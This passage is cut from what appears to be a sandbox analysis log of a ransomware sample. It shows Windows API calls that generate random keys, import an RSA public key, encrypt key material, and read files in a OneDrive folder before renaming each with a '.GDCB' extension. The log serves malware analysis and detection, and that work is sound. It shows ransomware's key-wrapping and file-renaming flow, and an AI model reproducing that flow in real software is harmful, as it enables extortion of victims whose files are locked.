(lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.105] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.105] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0180.105] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.105] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0180.106] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.107] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.107] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0180.107] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.107] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0180.109] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691d48) returned 1 [0180.109] CryptGetKeyParam (in: hKey=0x3691d48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.109] CryptEncrypt (in: hKey=0x3691d48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0180.109] GetLastError () returned 0x0 [0180.109] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.109] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0180.111] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691608) returned 1 [0180.111] CryptGetKeyParam (in: hKey=0x3691608, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.111] CryptEncrypt (in: hKey=0x3691608, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0180.112] GetLastError () returned 0x0 [0180.112] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.112] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\appwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0180.114] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0180.115] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0180.116] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0xbeb, lpOverlapped=0x0) returned 1 [0180.126] VirtualAlloc (lpAddress=0x0, dwSize=0xbf0, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0180.130] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\appwhite.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppWhite.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\appwhite.png.gdcb")) returned 1 [0180.145] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0180.146] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.147] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.147] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0180.147] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0180.147] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0180.148] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.149] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.149] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0180.149] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.149] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0180.151] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691688) returned 1 [0180.151] CryptGetKeyParam (in: hKey=0x3691688, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.151] CryptEncrypt (in: hKey=0x3691688, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0180.152] GetLastError () returned 0x0 [0180.152] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.152] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0180.154] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691888) returned 1 [0180.154] CryptGetKeyParam (in: hKey=0x3691888, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.154] CryptEncrypt (in: hKey=0x3691888, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0180.154] GetLastError () returned 0x0 [0180.154] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.154] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0180.156] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0180.157] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0180.158] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x5d8f6, lpOverlapped=0x0) returned 1 [0180.205] VirtualAlloc (lpAddress=0x0, dwSize=0x5d900, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0180.219] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.gif.gdcb")) returned 0 [0180.224] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0180.226] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.226] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.227] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0180.227] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.227] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0180.228] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.228] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.228] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0180.228] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.229] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0180.231] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691b48) returned 1 [0180.231] CryptGetKeyParam (in: hKey=0x3691b48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.231] CryptEncrypt (in: hKey=0x3691b48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0180.231] GetLastError () returned 0x0 [0180.231] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.231] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0180.233] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691748) returned 1 [0180.233] CryptGetKeyParam (in: hKey=0x3691748, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.233] CryptEncrypt (in: hKey=0x3691748, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0180.233] GetLastError () returned 0x0 [0180.233] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.233] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0180.236] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0180.237] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0180.238] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x27f2, lpOverlapped=0x0) returned 1 [0180.253] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0180.258] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.png.gdcb")) returned 0 [0180.275] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0180.277] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.278] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.278] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0180.278] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.278] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0180.279] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.279] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.279] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0180.279] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.279] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0180.281] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691a48) returned 1 [0180.281] CryptGetKeyParam (in: hKey=0x3691a48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.281] CryptEncrypt (in: hKey=0x3691a48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0180.282] GetLastError () returned 0x0 [0180.282] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.282] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0180.283] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691808) returned 1 [0180.283] CryptGetKeyParam (in: hKey=0x3691808, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.283] CryptEncrypt (in: hKey=0x3691808, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0180.284] GetLastError () returned 0x0 [0180.284] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.284] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\elevatedappblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0180.286] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0180.287] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0180.287] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x1cd7, lpOverlapped=0x0) returned 1 [0180.324] VirtualAlloc (lpAddress=0x0, dwSize=0x1ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0180.328] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\elevatedappblue.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppBlue.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\elevatedappblue.png.gdcb")) returned 0 [0180.330] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0180.332] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.332] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.332] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0180.332] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.332] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0180.333] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.334] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.334] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0180.334] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.334] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0180.336] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691b88) returned 1 [0180.336] CryptGetKeyParam (in: hKey=0x3691b88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.336] CryptEncrypt (in: hKey=0x3691b88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0180.336] GetLastError () returned 0x0 [0180.336] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.336] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0180.338] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x36918c8) returned 1 [0180.338] CryptGetKeyParam (in: hKey=0x36918c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.338] CryptEncrypt (in: hKey=0x36918c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0180.339] GetLastError () returned 0x0 [0180.339] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.339] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\elevatedappwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.344] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0180.345] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.346] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.346] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0180.346] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0180.346] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0180.347] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.347] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.347] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0180.347] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0180.348] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0180.349] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691988) returned 1 [0180.349] CryptGetKeyParam (in: hKey=0x3691988, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.350] CryptEncrypt (in: hKey=0x3691988, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5480000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5480000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0180.350] GetLastError () returned 0x0 [0180.350] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.350] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0180.351] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x36919c8) returned 1 [0180.351] CryptGetKeyParam (in: hKey=0x36919c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.351] CryptEncrypt (in: hKey=0x36919c8, hHash=0x0, Final=1, 